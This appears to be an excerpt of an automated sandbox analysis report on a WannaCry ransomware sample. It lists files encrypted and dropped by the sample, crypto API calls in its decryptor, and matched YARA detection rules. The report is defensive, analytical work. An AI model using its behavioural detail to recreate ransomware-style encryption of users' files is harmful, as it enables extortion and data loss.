                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.WNCRYT entropy: 7.99938679521Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\KnWb7AnFozuN2Z_H_-q2P5lMlTk.br[1].js.WNCRYT entropy: 7.99655475678Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT entropy: 7.99970619408Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\46183AC3-59FF-4B8C-8BF8-6C3D1F20FAC7\en-us.16\stream.x64.en-us.db.WNCRYT entropy: 7.99970571582Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\46183AC3-59FF-4B8C-8BF8-6C3D1F20FAC7\x-none.16\stream.x64.x-none.db.WNCRYT entropy: 7.99993341066Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\ODQJiXAfzI_tRXKLb6nW4N2Wgkc.br[1].js.WNCRYT entropy: 7.99537256716Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\oeXXrL-wI374jtxoG_HJaezabNo.br[1].js.WNCRYT entropy: 7.99872211756Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT entropy: 7.99324248463Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\OponOoR_xVMUgjhuqYDZ3mHxjqQ.br[1].js.WNCRYT entropy: 7.99857321368Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT entropy: 7.99980100349Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\p6wm2WLb8ijauB9Ev6BJn8A1qO0.br[1].js.WNCRYT entropy: 7.99818994649Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT entropy: 7.99644328607Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db.WNCRYT entropy: 7.99532703877Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\rmFfjYta9S1_NqRdTdslSoz2gLY.br[1].js.WNCRYT entropy: 7.99954678815Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT entropy: 7.99168589102Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT entropy: 7.99245710685Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.29.4\LICENSE.txt.WNCRYT entropy: 7.99340627413Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\v86e0X_ci1X8eYRZtuX_JUnLuFw.br[1].js.WNCRYT entropy: 7.99753122572Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\winword.exe.db.WNCRYT entropy: 7.99298823651Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\VrAE8CZ_PJkn0hgh2rwA1uThjyE.br[1].js.WNCRYT entropy: 7.9997775296Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\WMcG8NocIziwNYlfUEia3QDjwaM.br[1].js.WNCRYT entropy: 7.99880681369Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\XKZ41694P7XbcLcfFJwPjCvgy20.br[1].js.WNCRYT entropy: 7.99590865532Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT entropy: 7.99982277318Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\81\y6bnWjCuvSwilLrFt0n5uUF6l4A.br[1].js.WNCRYT entropy: 7.99818300658Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT entropy: 7.99996753314Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\83\-iNIzuEypRdgRJ6xnyVHizZ3bpM.br[1].js.WNCRYT entropy: 7.99043564987Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT entropy: 7.99990638837Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.9997155311Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Desktop\s.wnry entropy: 7.998263053Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\Desktop\t.wnry entropy: 7.99727613788Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT entropy: 7.99996355989Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT entropy: 7.99850666885Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133763994789466116.txt.WNCRYT entropy: 7.99839805111Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT entropy: 7.99982603161Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808174611432328.txt.WNCRYT entropy: 7.99837051778Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT entropy: 7.99981087963Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808175717819293.txt.WNCRYT entropy: 7.99851997726Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT entropy: 7.99981220607Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392021723241.txt.WNCRYT entropy: 7.99850573985Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT entropy: 7.99982582613Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT entropy: 7.99996807955Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT entropy: 7.99703598059Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT entropy: 7.99981930615Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsglobals.txt.WNCRYT entropy: 7.99946931869Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\36378e77.png.WNCRYT entropy: 7.99114282632Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appssynonyms.txt.WNCRYT entropy: 7.99948463181Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\1ae6599e75337c3a\ActivitiesCache.db.WNCRYT entropy: 7.9998148942Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2f454d09-98d3-4777-8736-371430301592}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99670596982Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\8628dc546dc99469\ActivitiesCache.db.WNCRYT entropy: 7.99983837538Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4f6a60df-9a8c-47a3-97c7-d65fc43b8ea0}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99631243275Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{baa231c4-8fc4-4806-b065-5ab82b98bc93}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99680270445Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsconversions.txt.WNCRYT entropy: 7.99986142673Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\CacheStorage\CacheStorage.edb.WNCRYT entropy: 7.99986226023Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsconversions.txt.WNCRYT entropy: 7.99970245553Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRYT entropy: 7.99990101384Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsglobals.txt.WNCRYT entropy: 7.99718953385Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingssynonyms.txt.WNCRYT entropy: 7.99872471181Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.9992382707Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99921053073Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRYT entropy: 7.99619784995Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy) entropy: 7.99966448602Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Subresource Filter\Unindexed Rules\9.29.4\LICENSE.txt.WNCRY (copy) entropy: 7.99340627413Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy) entropy: 7.9997155311Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133763994789466116.txt.WNCRY (copy) entropy: 7.99839805111Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808174611432328.txt.WNCRY (copy) entropy: 7.99837051778Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808175717819293.txt.WNCRY (copy) entropy: 7.99851997726Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392021723241.txt.WNCRY (copy) entropy: 7.99850573985Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsglobals.txt.WNCRY (copy) entropy: 7.99946931869Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appssynonyms.txt.WNCRY (copy) entropy: 7.99948463181Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2f454d09-98d3-4777-8736-371430301592}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99670596982Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4f6a60df-9a8c-47a3-97c7-d65fc43b8ea0}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99631243275Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{baa231c4-8fc4-4806-b065-5ab82b98bc93}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99680270445Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\appsconversions.txt.WNCRY (copy) entropy: 7.99986142673Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsconversions.txt.WNCRY (copy) entropy: 7.99970245553Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingsglobals.txt.WNCRY (copy) entropy: 7.99718953385Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4969e51d-173c-4e79-9b57-3f39ed7bcf3f}\settingssynonyms.txt.WNCRY (copy) entropy: 7.99872471181Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{b5f948f2-ed43-4efa-a5e8-c66e8e4b2569}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.9992382707Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{fd8f40a4-ac14-48d6-9ef0-afd19dd2a012}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99921053073Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx.WNCRY (copy) entropy: 7.99619784995Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1024_768_POS4.jpg.WNCRY (copy) entropy: 7.9957643747Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg.WNCRY (copy) entropy: 7.99846986437Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{a93335ab-ff33-457e-a1a9-982524fc8c3a}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99609085801Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Documents and Settings\user\Local Settings\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392321679645.txt.WNCRY (copy) entropy: 7.99845534014Jump to dropped file
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeFile created: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133808392621763174.txt.WNCRY (copy) entropy: 7.9984692416Jump to dropped file
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,19_2_004049B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,19_2_00404B70
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_004046F0 CryptImportKey,19_2_004046F0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004049B0 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,_local_unwind2,22_2_004049B0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,22_2_00404B70
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_004046F0 CryptImportKey,22_2_004046F0

                  System Summary

                  barindex
                  Malicious sample detected (through community Yara rule)
                  Source: 37.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 19.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 19.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 40.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 22.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 40.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 31.0.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 37.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 22.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: 31.2.@WanaDecryptor@.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@Please_Read_Me@.txt, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: Detects WannaCry Ransomware Note Author: Florian Roth
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\251361736365593.bat, type: DROPPEDMatched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
                  Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
